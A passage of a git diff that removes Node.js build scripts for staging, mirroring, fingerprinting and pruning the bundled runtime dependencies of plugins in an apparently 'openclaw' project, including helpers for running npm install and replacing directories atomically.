= params.distDir; - const bundledSpecs = params.bundledRuntimeDependencySpecs; - const mirrors = new Map(); - - for (const filePath of walkJavaScriptFiles(distDir)) { - const source = fs.readFileSync(filePath, "utf8"); - const relativePath = path.relative(distDir, filePath).replaceAll(path.sep, "/"); - for (const specifier of extractModuleSpecifiers(source)) { - const dependencyName = packageNameFromSpecifier(specifier); - if (!dependencyName || !bundledSpecs.has(dependencyName)) { - continue; - } - const bundledSpec = bundledSpecs.get(dependencyName); - if (isPluginOwnedDistImporter(relativePath, source, bundledSpec.pluginIds)) { - continue; - } - const existing = mirrors.get(dependencyName); - if (existing) { - existing.importers.add(relativePath); - continue; - } - mirrors.set(dependencyName, { - importers: new Set([relativePath]), - pluginIds: bundledSpec.pluginIds, - spec: bundledSpec.spec, - }); - } - } - - return mirrors; -} - -export function collectBundledPluginRootRuntimeMirrorErrors(params) { - const errors = []; - const declaredRootRuntimeDeps = collectRuntimeDependencySpecs(params.rootPackageJson); - const declaredMirrorDeps = - params.rootPackageJson?.openclaw?.bundle?.mirroredRootRuntimeDependencies ?? []; - const declaredMirrorDepNames = new Set( - Array.isArray(declaredMirrorDeps) - ? declaredMirrorDeps.filter((dependencyName) => typeof dependencyName === "string") - : [], - ); - - for (const [dependencyName, record] of params.bundledRuntimeDependencySpecs) { - for (const conflict of record.conflicts) { - errors.push( - `bundled runtime dependency '${dependencyName}' has conflicting plugin specs: ${record.pluginIds.join(", ")} use '${record.spec}', ${conflict.pluginId} uses '${conflict.spec}'.`, - ); - } - } - - for (const [dependencyName, record] of params.requiredRootMirrors) { - if (declaredRootRuntimeDeps.has(dependencyName)) { - if (!declaredMirrorDepNames.has(dependencyName)) { - const importerList = Array.from(record.importers) - .toSorted((left, right) => left.localeCompare(right)) - .join(", "); - errors.push( - `installed package root mirror '${dependencyName}' for dist importers: ${importerList} is missing from package.json openclaw.bundle.mirroredRootRuntimeDependencies. Add it there so packaged runtime installs the mirrored dependency, or keep imports under dist/extensions/${record.pluginIds[0]}/.`, - ); - } - continue; - } - const importerList = Array.from(record.importers) - .toSorted((left, right) => left.localeCompare(right)) - .join(", "); - errors.push( - `installed package root is missing mirrored bundled runtime dependency '${dependencyName}' for dist importers: ${importerList}. Add it to package.json dependencies/optionalDependencies or keep imports under dist/extensions/${record.pluginIds[0]}/.`, - ); - } - - return errors.toSorted((left, right) => left.localeCompare(right)); -} - -export function collectDeclaredRootRuntimeDependencyMetadataErrors(rootPackageJson) { - const declaredRootRuntimeDeps = collectRuntimeDependencySpecs(rootPackageJson); - const declaredMirrorDeps = - rootPackageJson?.openclaw?.bundle?.mirroredRootRuntimeDependencies ?? []; - if (!Array.isArray(declaredMirrorDeps)) { - return ["package.json openclaw.bundle.mirroredRootRuntimeDependencies must be an array."]; - } - - const errors = []; - for (const dependencyName of declaredMirrorDeps) { - if (typeof dependencyName !== "string" || dependencyName.trim().length === 0) { - errors.push( - "package.json openclaw.bundle.mirroredRootRuntimeDependencies entries must be non-empty strings.", - ); - continue; - } - if (!declaredRootRuntimeDeps.has(dependencyName)) { - errors.push( - `package.json openclaw.bundle.mirroredRootRuntimeDependencies declares '${dependencyName}' but package.json dependencies/optionalDependencies do not include it.`, - ); - } - } - return errors.toSorted((left, right) => left.localeCompare(right)); -} diff --git a/scripts/lib/bundled-runtime-deps-install.mjs b/scripts/lib/bundled-runtime-deps-install.mjs deleted file mode 100644 index 3fb5ca47a6f..00000000000 --- a/scripts/lib/bundled-runtime-deps-install.mjs +++ /dev/null @@ -1,81 +0,0 @@ -import { spawnSync } from "node:child_process"; - -const NPM_CONFIG_KEYS_TO_RESET = new Set([ - "npm_config_global", - "npm_config_ignore_scripts", - "npm_config_include_workspace_root", - "npm_config_location", - "npm_config_prefix", - "npm_config_workspace", - "npm_config_workspaces", -]); - -export function createNestedNpmInstallEnv(env = process.env) { - const nextEnv = { ...env }; - for (const key of Object.keys(nextEnv)) { - if (NPM_CONFIG_KEYS_TO_RESET.has(key.toLowerCase())) { - delete nextEnv[key]; - } - } - return nextEnv; -} - -export function createBundledRuntimeDependencyInstallEnv(env = process.env, options = {}) { - const nextEnv = { - ...createNestedNpmInstallEnv(env), - npm_config_dry_run: "false", - npm_config_fetch_retries: env.npm_config_fetch_retries ?? "5", - npm_config_fetch_retry_maxtimeout: env.npm_config_fetch_retry_maxtimeout ?? "120000", - npm_config_fetch_retry_mintimeout: env.npm_config_fetch_retry_mintimeout ?? "10000", - npm_config_fetch_timeout: env.npm_config_fetch_timeout ?? "300000", - npm_config_ignore_scripts: "true", - npm_config_legacy_peer_deps: "true", - npm_config_package_lock: "false", - npm_config_save: "false", - npm_config_workspaces: "false", - }; - if (options.ci) { - nextEnv.CI = "1"; - } - if (options.quiet) { - Object.assign(nextEnv, { - npm_config_audit: "false", - npm_config_fund: "false", - npm_config_loglevel: "error", - npm_config_progress: "false", - npm_config_yes: "true", - }); - } - return nextEnv; -} - -export function createBundledRuntimeDependencyInstallArgs(specs = [], options = {}) { - return [ - "install", - ...(options.noAudit ? ["--no-audit"] : []), - ...(options.noFund ? ["--no-fund"] : []), - "--ignore-scripts", - "--workspaces=false", - ...(options.silent ? ["--silent"] : []), - ...specs, - ]; -} - -export function runBundledRuntimeDependencyNpmInstall(params) { - const runSpawnSync = params.spawnSyncImpl ?? spawnSync; - const result = runSpawnSync(params.npmRunner.command, params.npmRunner.args, { - cwd: params.cwd, - encoding: "utf8", - env: params.env ?? params.npmRunner.env ?? process.env, - shell: params.npmRunner.shell, - stdio: params.stdio ?? "pipe", - ...(params.timeoutMs ? { timeout: params.timeoutMs } : {}), - windowsHide: true, - windowsVerbatimArguments: params.npmRunner.windowsVerbatimArguments, - }); - if (result.status === 0) { - return; - } - const output = [result.stderr, result.stdout].filter(Boolean).join("\n").trim(); - throw new Error(output || "npm install failed"); -} diff --git a/scripts/lib/bundled-runtime-deps-materialize.mjs b/scripts/lib/bundled-runtime-deps-materialize.mjs deleted file mode 100644 index 9509c705a89..00000000000 --- a/scripts/lib/bundled-runtime-deps-materialize.mjs +++ /dev/null @@ -1,212 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { - collectInstalledRuntimeDependencyRoots, - dependencyNodeModulesPath, - findContainingRealRoot, - resolveInstalledDirectDependencyNames, - selectRuntimeDependencyRootsToCopy, -} from "./bundled-runtime-deps-package-tree.mjs"; -import { pruneStagedRuntimeDependencyCargo } from "./bundled-runtime-deps-prune.mjs"; -import { - assertPathIsNotSymlink, - makePluginOwnedTempDir, - removeLegacyBundledRuntimeDepsSymlink, - removeOwnedTempPathBestEffort, - removePathIfExists, - replaceDirAtomically, - writeJsonAtomically, -} from "./bundled-runtime-deps-stage-state.mjs"; - -function copyMaterializedDependencyTree(params) { - const { activeRoots, allowedRealRoots, sourcePath, targetPath } = params; - const sourceStats = fs.lstatSync(sourcePath); - - if (sourceStats.isSymbolicLink()) { - let resolvedPath; - try { - resolvedPath = fs.realpathSync(sourcePath); - } catch { - return false; - } - const containingRoot = findContainingRealRoot(resolvedPath, allowedRealRoots); - if (containingRoot === null) { - return false; - } - if (activeRoots.has(containingRoot)) { - return true; - } - const nextActiveRoots = new Set(activeRoots); - nextActiveRoots.add(containingRoot); - return copyMaterializedDependencyTree({ - activeRoots: nextActiveRoots, - allowedRealRoots, - sourcePath: resolvedPath, - targetPath, - }); - } - - if (sourceStats.isDirectory()) { - fs.mkdirSync(targetPath, { recursive: true }); - for (const entry of fs - .readdirSync(sourcePath, { withFileTypes: true }) - .toSorted((left, right) => left.name.localeCompare(right.name))) { - if ( - !copyMaterializedDependencyTree({ - activeRoots, - allowedRealRoots, - sourcePath: path.join(sourcePath, entry.name), - targetPath: path.join(targetPath, entry.name), - }) - ) { - return false; - } - } - return true; - } - - if (sourceStats.isFile()) { - fs.mkdirSync(path.dirname(targetPath), { recursive: true }); - fs.copyFileSync(sourcePath, targetPath); - fs.chmodSync(targetPath, sourceStats.mode); - return true; - } - - return true; -} - -export function listBundledPluginRuntimeDirs(repoRoot) { - const extensionsRoot = path.join(repoRoot, "dist", "extensions"); - if (!fs.existsSync(extensionsRoot)) { - return []; - } - - return fs - .readdirSync(extensionsRoot, { withFileTypes: true }) - .filter((dirent) => dirent.isDirectory()) - .map((dirent) => path.join(extensionsRoot, dirent.name)) - .filter((pluginDir) => fs.existsSync(path.join(pluginDir, "package.json"))); -} - -export function resolveInstalledWorkspacePluginRoot(repoRoot, pluginId) { - const currentPluginRoot = path.join(repoRoot, "extensions", pluginId); - if (fs.existsSync(path.join(currentPluginRoot, "node_modules"))) { - return currentPluginRoot; - } - - const nodeModulesDir = path.join(repoRoot, "node_modules"); - if (!fs.existsSync(nodeModulesDir)) { - return currentPluginRoot; - } - - let installedWorkspaceRoot; - try { - installedWorkspaceRoot = path.dirname(fs.realpathSync(nodeModulesDir)); - } catch { - return currentPluginRoot; - } - - const installedPluginRoot = path.join(installedWorkspaceRoot, "extensions", pluginId); - if (fs.existsSync(path.join(installedPluginRoot, "package.json"))) { - return installedPluginRoot; - } - - return currentPluginRoot; -} - -export function stageInstalledRootRuntimeDeps(params) { - const { - directDependencyPackageRoot = null, - cheapFingerprint, - fingerprint, - packageJson, - pluginDir, - pruneConfig, - repoRoot, - stampPath, - } = params; - const dependencySpecs = { - ...packageJson.dependencies, - ...packageJson.optionalDependencies, - }; - const optionalDependencyNames = new Set(Object.keys(packageJson.optionalDependencies ?? {})); - const rootNodeModulesDir = path.join(repoRoot, "node_modules"); - if (Object.keys(dependencySpecs).length === 0 || !fs.existsSync(rootNodeModulesDir)) { - return false; - } - - const directDependencyNames = resolveInstalledDirectDependencyNames( - rootNodeModulesDir, - dependencySpecs, - directDependencyPackageRoot, - optionalDependencyNames, - ); - if (directDependencyNames === null) { - return false; - } - const resolution = collectInstalledRuntimeDependencyRoots( - rootNodeModulesDir, - dependencySpecs, - directDependencyPackageRoot, - optionalDependencyNames, - ); - if (resolution === null) { - return false; - } - const rootsToCopy = selectRuntimeDependencyRootsToCopy(resolution); - const nodeModulesDir = path.join(pluginDir, "node_modules"); - if (rootsToCopy.length === 0) { - removeLegacyBundledRuntimeDepsSymlink(nodeModulesDir, repoRoot); - assertPathIsNotSymlink(nodeModulesDir, "remove runtime deps"); - removePathIfExists(nodeModulesDir); - writeJsonAtomically(stampPath, { - cheapFingerprint, - fingerprint, - generatedAt: new Date().toISOString(), - }); - return true; - } - const allowedRealRoots = rootsToCopy.map((record) => record.realRoot); - - const stagedNodeModulesDir = path.join( - makePluginOwnedTempDir(pluginDir, "stage"), - "node_modules", - ); - - try { - for (const record of rootsToCopy.toSorted((left, right) => - left.name.localeCompare(right.name), - )) { - const sourcePath = record.realRoot; - const targetPath = dependencyNodeModulesPath(stagedNodeModulesDir, record.name); - if (targetPath === null) { - return false; - } - fs.mkdirSync(path.dirname(targetPath), { recursive: true }); - const sourceRootReal = findContainingRealRoot(sourcePath, allowedRealRoots); - if ( - sourceRootReal === null || - !copyMaterializedDependencyTree({ - activeRoots: new Set([sourceRootReal]), - allowedRealRoots, - sourcePath, - targetPath, - }) - ) { - return false; - } - } - pruneStagedRuntimeDependencyCargo(stagedNodeModulesDir, pruneConfig); - - removeLegacyBundledRuntimeDepsSymlink(nodeModulesDir, repoRoot); - replaceDirAtomically(nodeModulesDir, stagedNodeModulesDir); - writeJsonAtomically(stampPath, { - cheapFingerprint, - fingerprint, - generatedAt: new Date().toISOString(), - }); - return true; - } finally { - removeOwnedTempPathBestEffort(path.dirname(stagedNodeModulesDir)); - } -} diff --git a/scripts/lib/bundled-runtime-deps-package-tree.mjs b/scripts/lib/bundled-runtime-deps-package-tree.mjs deleted file mode 100644 index 4bc1556938b..00000000000 --- a/scripts/lib/bundled-runtime-deps-package-tree.mjs +++ /dev/null @@ -1,272 +0,0 @@ -import { createHash } from "node:crypto"; -import fs from "node:fs"; -import path from "node:path"; -import semverSatisfies from "semver/functions/satisfies.js"; - -function readJson(filePath) { - return JSON.parse(fs.readFileSync(filePath, "utf8")); -} - -function dependencyPathSegments(depName) { - if (typeof depName !== "string" || depName.length === 0) { - return null; - } - const segments = depName.split("/"); - if (depName.startsWith("@")) { - if (segments.length !== 2) { - return null; - } - const [scope, name] = segments; - if ( - !/^@[A-Za-z0-9._-]+$/.test(scope) || - !/^[A-Za-z0-9._-]+$/.test(name) || - scope === "@." || - scope === "@.." - ) { - return null; - } - return [scope, name]; - } - if (segments.length !== 1 || !/^[A-Za-z0-9._-]+$/.test(segments[0])) { - return null; - } - return segments; -} - -export function dependencyNodeModulesPath(nodeModulesDir, depName) { - const segments = dependencyPathSegments(depName); - return segments ? path.join(nodeModulesDir, ...segments) : null; -} - -function dependencyVersionSatisfied(spec, installedVersion) { - return semverSatisfies(installedVersion, spec, { includePrerelease: false }); -} - -export function readInstalledDependencyVersionFromRoot(depRoot) { - const packageJsonPath = path.join(depRoot, "package.json"); - if (!fs.existsSync(packageJsonPath)) { - return null; - } - const version = readJson(packageJsonPath).version; - return typeof version === "string" ? version : null; -} - -export function resolveInstalledDependencyRoot(params) { - const candidates = []; - if (params.parentPackageRoot) { - const nestedDepRoot = dependencyNodeModulesPath( - path.join(params.parentPackageRoot, "node_modules"), - params.depName, - ); - if (nestedDepRoot !== null) { - candidates.push(nestedDepRoot); - } - } - const rootDepRoot = dependencyNodeModulesPath(params.rootNodeModulesDir, params.depName); - if (rootDepRoot !== null) { - candidates.push(rootDepRoot); - } - - for (const depRoot of candidates) { - const installedVersion = readInstalledDependencyVersionFromRoot(depRoot); - if (installedVersion === null) { - continue; - } - if (params.enforceSpec === false || dependencyVersionSatisfied(params.spec, installedVersion)) { - return depRoot; - } - } - - return null; -} - -export function collectInstalledRuntimeDependencyRoots( - rootNodeModulesDir, - dependencySpecs, - directDependencyPackageRoot = null, - optionalDependencyNames = new Set(), -) { - const packageCache = new Map(); - const directRoots = []; - const allRoots = []; - const queue = Object.entries(dependencySpecs).map(([depName, spec]) => ({ - depName, - optional: optionalDependencyNames.has(depName), - spec, - parentPackageRoot: directDependencyPackageRoot, - direct: true, - })); - const seen = new Set(); - - while (queue.length > 0) { - const current = queue.shift(); - const depRoot = resolveInstalledDependencyRoot({ - depName: current.depName, - spec: current.spec, - enforceSpec: current.direct, - parentPackageRoot: current.parentPackageRoot, - rootNodeModulesDir, - }); - if (depRoot === null) { - if (current.optional) { - continue; - } - return null; - } - const canonicalDepRoot = fs.realpathSync(depRoot); - - const seenKey = `${current.depName}\0${canonicalDepRoot}`; - if (seen.has(seenKey)) { - continue; - } - seen.add(seenKey); - - const record = { name: current.depName, root: depRoot, realRoot: canonicalDepRoot }; - allRoots.push(record); - if (current.direct) { - directRoots.push(record); - } - - const packageJson = - packageCache.get(canonicalDepRoot) ?? readJson(path.join(depRoot, "package.json")); - packageCache.set(canonicalDepRoot, packageJson); - for (const [childName, childSpec] of Object.entries(packageJson.dependencies ?? {})) { - queue.push({ - depName: childName, - optional: false, - spec: childSpec, - parentPackageRoot: depRoot, - direct: false, - }); - } - for (const [childName, childSpec] of Object.entries(packageJson.optionalDependencies ?? {})) { - queue.push({ - depName: childName, - optional: true, - spec: childSpec, - parentPackageRoot: depRoot, - direct: false, - }); - } - } - - return { allRoots, directRoots }; -} - -function pathIsInsideCopiedRoot(candidateRoot, copiedRoot) { - return candidateRoot === copiedRoot || candidateRoot.startsWith(`${copiedRoot}${path.sep}`); -} - -export function findContainingRealRoot(candidatePath, allowedRealRoots) { - return ( - allowedRealRoots.find((rootPath) => pathIsInsideCopiedRoot(candidatePath, rootPath)) ?? null - ); -} - -export function selectRuntimeDependencyRootsToCopy(resolution) { - const rootsToCopy = []; - - for (const record of resolution.directRoots) { - rootsToCopy.push(record); - } - - for (const record of resolution.allRoots) { - if (rootsToCopy.some((entry) => pathIsInsideCopiedRoot(record.realRoot, entry.realRoot))) { - continue; - } - rootsToCopy.push(record); - } - - return rootsToCopy; -} - -export function resolveInstalledDirectDependencyNames( - rootNodeModulesDir, - dependencySpecs, - directDependencyPackageRoot = null, - optionalDependencyNames = new Set(), -) { - const directDependencyNames = []; - for (const [depName, spec] of Object.entries(dependencySpecs)) { - const depRoot = resolveInstalledDependencyRoot({ - depName, - spec, - parentPackageRoot: directDependencyPackageRoot, - rootNodeModulesDir, - }); - if (depRoot === null) { - if (optionalDependencyNames.has(depName)) { - continue; - } - return null; - } - const installedVersion = readInstalledDependencyVersionFromRoot(depRoot); - if (installedVersion === null || !dependencyVersionSatisfied(spec, installedVersion)) { - return null; - } - directDependencyNames.push(depName); - } - return directDependencyNames; -} - -function appendDirectoryFingerprint(hash, rootDir, currentDir = rootDir) { - const entries = fs - .readdirSync(currentDir, { withFileTypes: true }) - .toSorted((left, right) => left.name.localeCompare(right.name)); - - for (const entry of entries) { - const fullPath = path.join(currentDir, entry.name); - const relativePath = path.relative(rootDir, fullPath).replace(/\\/g, "/"); - const stats = fs.lstatSync(fullPath); - if (stats.isSymbolicLink()) { - hash.update(`symlink:${relativePath}->${fs.readlinkSync(fullPath).replace(/\\/g, "/")}\n`); - continue; - } - if (stats.isDirectory()) { - hash.update(`dir:${relativePath}\n`); - appendDirectoryFingerprint(hash, rootDir, fullPath); - continue; - } - if (!stats.isFile()) { - continue; - } - const stat = fs.statSync(fullPath); - hash.update(`file:${relativePath}:${stat.size}\n`); - hash.update(fs.readFileSync(fullPath)); - } -} - -function createInstalledRuntimeClosureFingerprint(records) { - const hash = createHash("sha256"); - for (const record of [...records].toSorted( - (left, right) => - left.name.localeCompare(right.name) || left.realRoot.localeCompare(right.realRoot), - )) { - if (!fs.existsSync(record.realRoot)) { - return null; - } - hash.update(`package:${record.name}:${record.realRoot}\n`); - appendDirectoryFingerprint(hash, record.realRoot); - } - return hash.digest("hex"); -} - -export function resolveInstalledRuntimeClosureFingerprint(params) { - const dependencySpecs = { - ...params.packageJson.dependencies, - ...params.packageJson.optionalDependencies, - }; - if (Object.keys(dependencySpecs).length === 0 || !fs.existsSync(params.rootNodeModulesDir)) { - return null; - } - const resolution = collectInstalledRuntimeDependencyRoots( - params.rootNodeModulesDir, - dependencySpecs, - params.directDependencyPackageRoot, - new Set(Object.keys(params.packageJson.optionalDependencies ?? {})), - ); - if (resolution === null) { - return null; - } - return createInstalledRuntimeClosureFingerprint(selectRuntimeDependencyRootsToCopy(resolution)); -} diff --git a/scripts/lib/bundled-runtime-deps-prune.mjs b/scripts/lib/bundled-runtime-deps-prune.mjs deleted file mode 100644 index ee9bb64ecd4..00000000000 --- a/scripts/lib/bundled-runtime-deps-prune.mjs +++ /dev/null @@ -1,198 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { dependencyNodeModulesPath } from "./bundled-runtime-deps-package-tree.mjs"; -import { removePathIfExists } from "./bundled-runtime-deps-stage-state.mjs"; - -const defaultStagedRuntimeDepGlobalPruneSuffixes = [".d.ts", ".map"]; -const defaultStagedRuntimeDepGlobalPruneDirectories = [ - "__snapshots__", - "__tests__", - "test", - "tests", -]; -const defaultStagedRuntimeDepGlobalPruneFilePatterns = [ - /(?:^|\/)[^/]+\.(?:test|spec)\.(?:[cm]?[jt]sx?)$/u, -]; -const defaultStagedRuntimeDepPruneRules = new Map([ - ["@larksuiteoapi/node-sdk", { paths: ["types"] }], - [ - "@matrix-org/matrix-sdk-crypto-nodejs", - { - paths: ["index.d.ts", "README.md", "CHANGELOG.md", "RELEASING.md", ".node-version"], - }, - ], - [ - "@matrix-org/matrix-sdk-crypto-wasm", - { - paths: [ - "index.d.ts", - "pkg/matrix_sdk_crypto_wasm.d.ts", - "pkg/matrix_sdk_crypto_wasm_bg.wasm.d.ts", - "README.md", - ], - }, - ], - [ - "matrix-js-sdk", - { - paths: ["src", "CHANGELOG.md", "CONTRIBUTING.rst", "README.md", "release.sh"], - suffixes: [".d.ts"], - }, - ], - ["matrix-widget-api", { paths: ["src"], suffixes: [".d.ts"] }], - ["oidc-client-ts", { paths: ["README.md"], suffixes: [".d.ts"] }], - ["music-metadata", { paths: ["README.md"], suffixes: [".d.ts"] }], - ["@cloudflare/workers-types", { paths: ["."] }], - ["gifwrap", { paths: ["test"] }], - ["playwright-core", { paths: ["types"], suffixes: [".d.ts"] }], - ["@jimp/plugin-blit", { paths: ["src/__image_snapshots__"] }], - ["@jimp/plugin-blur", { paths: ["src/__image_snapshots__"] }], - ["@jimp/plugin-color", { paths: ["src/__image_snapshots__"] }], - ["@jimp/plugin-print", { paths: ["src/__image_snapshots__"] }], - ["@jimp/plugin-quantize", { paths: ["src/__image_snapshots__"] }], - ["@jimp/plugin-threshold", { paths: ["src/__image_snapshots__"] }], - ["tokenjuice", { keepDirectories: ["dist/rules/tests"] }], -]); - -export function resolveRuntimeDepPruneConfig(params = {}) { - return { - globalPruneDirectories: - params.stagedRuntimeDepGlobalPruneDirectories ?? - defaultStagedRuntimeDepGlobalPruneDirectories, - globalPruneFilePatterns: - params.stagedRuntimeDepGlobalPruneFilePatterns ?? - defaultStagedRuntimeDepGlobalPruneFilePatterns, - globalPruneSuffixes: - params.stagedRuntimeDepGlobalPruneSuffixes ?? defaultStagedRuntimeDepGlobalPruneSuffixes, - pruneRules: params.stagedRuntimeDepPruneRules ?? defaultStagedRuntimeDepPruneRules, - }; -} - -function walkFiles(rootDir, visitFile) { - if (!fs.existsSync(rootDir)) { - return; - } - const queue = [rootDir]; - for (let index = 0; index < queue.length; index += 1) { - const currentDir = queue[index]; - for (const entry of fs.readdirSync(currentDir, { withFileTypes: true })) { - const fullPath = path.join(currentDir, entry.name); - if (entry.isDirectory()) { - queue.push(fullPath); - continue; - } - if (entry.isFile()) { - visitFile(fullPath); - } - } - } -} - -function pruneDependencyFilesBySuffixes(depRoot, suffixes) { - if (!suffixes || suffixes.length === 0 || !fs.existsSync(depRoot)) { - return; - } - walkFiles(depRoot, (fullPath) => { - if (suffixes.some((suffix) => fullPath.endsWith(suffix))) { - removePathIfExists(fullPath); - } - }); -} - -function relativePathSegments(rootDir, fullPath) { - return path.relative(rootDir, fullPath).split(path.sep).filter(Boolean); -} - -function isNodeModulesPackageRoot(segments, index) { - const parent = segments[index - 1]; - if (parent === "node_modules") { - return true; - } - return parent?.startsWith("@") === true && segments[index - 2] === "node_modules"; -} - -function pruneDependencyDirectoriesByBasename(depRoot, basenames, keepDirs = new Set()) { - if (!basenames || basenames.length === 0 || !fs.existsSync(depRoot)) { - return; - } - const basenameSet = new Set(basenames); - const queue = [depRoot]; - for (let index = 0; index < queue.length; index += 1) { - const currentDir = queue[index]; - for (const entry of fs.readdirSync(currentDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - const fullPath = path.join(currentDir, entry.name); - const segments = relativePathSegments(depRoot, fullPath); - if (basenameSet.has(entry.name) && !isNodeModulesPackageRoot(segments, segments.length - 1)) { - if (keepDirs.has(fullPath)) { - queue.push(fullPath); - continue; - } - removePathIfExists(fullPath); - continue; - } - queue.push(fullPath); - } - } -} - -function pruneDependencyFilesByPatterns(depRoot, patterns) { - if (!patterns || patterns.length === 0 || !fs.existsSync(depRoot)) { - return; - } - walkFiles(depRoot, (fullPath) => { - const relativePath = relativePathSegments(depRoot, fullPath).join("/"); - if (patterns.some((pattern) => pattern.test(relativePath))) { - removePathIfExists(fullPath); - } - }); -} - -function pruneStagedInstalledDependencyCargo(nodeModulesDir, depName, pruneConfig) { - const depRoot = dependencyNodeModulesPath(nodeModulesDir, depName); - if (depRoot === null) { - return; - } - const pruneRule = pruneConfig.pruneRules.get(depName); - for (const relativePath of pruneRule?.paths ?? []) { - removePathIfExists(path.join(depRoot, relativePath)); - } - const keepDirs = new Set( - (pruneRule?.keepDirectories ?? []).map((relativePath) => path.resolve(depRoot, relativePath)), - ); - pruneDependencyDirectoriesByBasename(depRoot, pruneConfig.globalPruneDirectories, keepDirs); - pruneDependencyFilesByPatterns(depRoot, pruneConfig.globalPruneFilePatterns); - pruneDependencyFilesBySuffixes(depRoot, pruneConfig.globalPruneSuffixes); - pruneDependencyFilesBySuffixes(depRoot, pruneRule?.suffixes ?? []); -} - -function listInstalledDependencyNames(nodeModulesDir) { - if (!fs.existsSync(nodeModulesDir)) { - return []; - } - const names = []; - for (const entry of fs.readdirSync(nodeModulesDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - if (entry.name.startsWith("@")) { - const scopeDir = path.join(nodeModulesDir, entry.name); - for (const scopedEntry of fs.readdirSync(scopeDir, { withFileTypes: true })) { - if (scopedEntry.isDirectory()) { - names.push(`${entry.name}/${scopedEntry.name}`); - } - } - continue; - } - names.push(entry.name); - } - return names; -} - -export function pruneStagedRuntimeDependencyCargo(nodeModulesDir, pruneConfig) { - for (const depName of listInstalledDependencyNames(nodeModulesDir)) { - pruneStagedInstalledDependencyCargo(nodeModulesDir, depName, pruneConfig); - } -} diff --git a/scripts/lib/bundled-runtime-deps-stage-state.mjs b/scripts/lib/bundled-runtime-deps-stage-state.mjs deleted file mode 100644 index 57050a6bb02..00000000000 --- a/scripts/lib/bundled-runtime-deps-stage-state.mjs +++ /dev/null @@ -1,235 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -const TRANSIENT_TEMP_REMOVE_ERROR_CODES = new Set(["EBUSY", "ENOTEMPTY", "EPERM"]); -const TEMP_REMOVE_RETRY_DELAYS_MS = [10, 25, 50]; -const TEMP_OWNER_FILE = "owner.json"; - -function readJson(filePath) { - return JSON.parse(fs.readFileSync(filePath, "utf8")); -} - -function writeJson(filePath, value) { - fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -export function removePathIfExists(targetPath, options = {}) { - const retryDelays = options.retryTransient ? TEMP_REMOVE_RETRY_DELAYS_MS : []; - for (let attempt = 0; attempt <= retryDelays.length; attempt += 1) { - try { - fs.rmSync(targetPath, { recursive: true, force: true }); - return true; - } catch (error) { - if (!isTransientTempRemoveError(error)) { - throw error; - } - const delay = retryDelays[attempt]; - if (delay === undefined) { - if (options.ignoreTransient) { - return false; - } - throw error; - } - sleepSync(delay); - } - } - return true; -} - -export function removeOwnedTempPathBestEffort(targetPath) { - return removePathIfExists(targetPath, { retryTransient: true, ignoreTransient: true }); -} - -function isTransientTempRemoveError(error) { - return ( - !!error && - typeof error === "object" && - typeof error.code === "string" && - TRANSIENT_TEMP_REMOVE_ERROR_CODES.has(error.code) - ); -} - -function sleepSync(ms) { - if (!Number.isFinite(ms) || ms <= 0) { - return; - } - Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, ms); -} - -function makeTempDir(parentDir, prefix) { - return fs.mkdtempSync(path.join(parentDir, prefix)); -} - -export function writeRuntimeDepsTempOwner(tempDir) { - writeJson(path.join(tempDir, TEMP_OWNER_FILE), { - pid: process.pid, - createdAtMs: Date.now(), - }); -} - -function makeOwnedTempDir(parentDir, prefix) { - const tempDir = makeTempDir(parentDir, prefix); - writeRuntimeDepsTempOwner(tempDir); - return tempDir; -} - -export function sanitizeTempPrefixSegment(value) { - const normalized = value.replace(/[^A-Za-z0-9._-]+/g, "-").replace(/-+/g, "-"); - return normalized.length > 0 ? normalized : "plugin"; -} - -export function makePluginOwnedTempDir(pluginDir, label) { - return makeOwnedTempDir(pluginDir, `.openclaw-runtime-deps-${label}-`); -} - -export function assertPathIsNotSymlink(targetPath, label) { - try { - if (fs.lstatSync(targetPath).isSymbolicLink()) { - throw new Error(`refusing to ${label} via symlinked path: ${targetPath}`); - } - } catch (error) { - if (error?.code === "ENOENT") { - return; - } - throw error; - } -} - -function isDirectChildPath(parentPath, childPath) { - const relativePath = path.relative(parentPath, childPath); - return ( - relativePath.length > 0 && - !relativePath.startsWith("..") && - !path.isAbsolute(relativePath) && - !relativePath.includes(path.sep) - ); -} - -function isLegacyBundledRuntimeDepsNodeModulesPath(targetPath, repoRoot, linkedPath) { - const legacyRuntimeDepsRoot = path.resolve(repoRoot, ".local", "bundled-plugin-runtime-deps"); - const resolvedLinkedPath = path.resolve(path.dirname(targetPath), linkedPath); - return ( - path.basename(resolvedLinkedPath) === "node_modules" && - isDirectChildPath(legacyRuntimeDepsRoot, path.dirname(resolvedLinkedPath)) - ); -} - -export function removeLegacyBundledRuntimeDepsSymlink(targetPath, repoRoot) { - let stats; - try { - stats = fs.lstatSync(targetPath); - } catch (error) { - if (error?.code === "ENOENT") { - return false; - } - throw error; - } - if (!stats.isSymbolicLink()) { - return false; - } - - let linkedPath; - try { - linkedPath = fs.readlinkSync(targetPath); - } catch { - return false; - } - if (!isLegacyBundledRuntimeDepsNodeModulesPath(targetPath, repoRoot, linkedPath)) { - return false; - } - - removePathIfExists(targetPath); - return true; -} - -export function replaceDirAtomically(targetPath, sourcePath) { - assertPathIsNotSymlink(targetPath, "replace runtime deps"); - const targetParentDir = path.dirname(targetPath); - fs.mkdirSync(targetParentDir, { recursive: true }); - const backupPath = makeTempDir( - targetParentDir, - `.openclaw-runtime-deps-backup-${sanitizeTempPrefixSegment(path.basename(targetPath))}-`, - ); - removePathIfExists(backupPath, { retryTransient: true }); - - let movedExistingTarget = false; - try { - if (fs.existsSync(targetPath)) { - fs.renameSync(targetPath, backupPath); - writeRuntimeDepsTempOwner(backupPath); - movedExistingTarget = true; - } - fs.renameSync(sourcePath, targetPath); - removeOwnedTempPathBestEffort(backupPath); - } catch (error) { - if (movedExistingTarget && !fs.existsSync(targetPath) && fs.existsSync(backupPath)) { - fs.renameSync(backupPath, targetPath); - removePathIfExists(path.join(targetPath, TEMP_OWNER_FILE)); - } - throw error; - } -} - -export function writeJsonAtomically(targetPath, value) { - assertPathIsNotSymlink(targetPath, "write runtime deps stamp"); - const targetParentDir = path.dirname(targetPath); - fs.mkdirSync(targetParentDir, { recursive: true }); - const tempDir = makeOwnedTempDir( - targetParentDir, - 